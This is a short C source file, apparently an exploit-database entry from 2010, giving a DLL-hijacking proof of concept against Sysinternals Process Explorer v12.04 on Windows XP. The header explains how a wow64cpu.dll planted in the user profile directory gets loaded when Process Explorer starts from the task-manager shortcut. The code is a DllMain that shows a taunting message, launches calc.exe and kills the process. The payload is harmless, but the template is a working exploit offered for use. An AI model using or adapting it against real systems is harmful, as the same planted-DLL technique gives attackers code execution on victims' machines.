/*
  * Exploit Title:   Sysinternals Process Explorer DLL Hijacking on x86 Windows systems (wow64cpu.dll)
  * Date:            27 Aug 2010
  * Author:          miom
  * Software Link:   http://technet.microsoft.com/sysinternals/bb896653.aspx
  * Version:         Process Explorer v12.04
  * Tested on:       Windows XP SP3 x86
  *
  * This exploit targets x86 Windows systems that use Sysinternals Process Explorer as their task manager.
  * Invoking this program with ctrl+alt+del or ctrl+shift+esc will set the cwd to the user directory (%UserProfile%).
  * If you place there this dll it will be loaded since it's missing in the directories with a higher
  * loading priority.
  */

#include<windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
     static int call_once = 1;

     if(call_once){
         call_once = 0;
         MessageBox(NULL, "Greetings from your hijacked dll.\n"
                          "We'll run calc.exe instead of your program harhar>)", "Vulnerable!", MB_OK | MB_ICONINFORMATION);
         ShellExecute(NULL, "open", "calc.exe", NULL, NULL, SW_SHOWNORMAL);
         ExitProcess(0);
     }

	return TRUE;
}
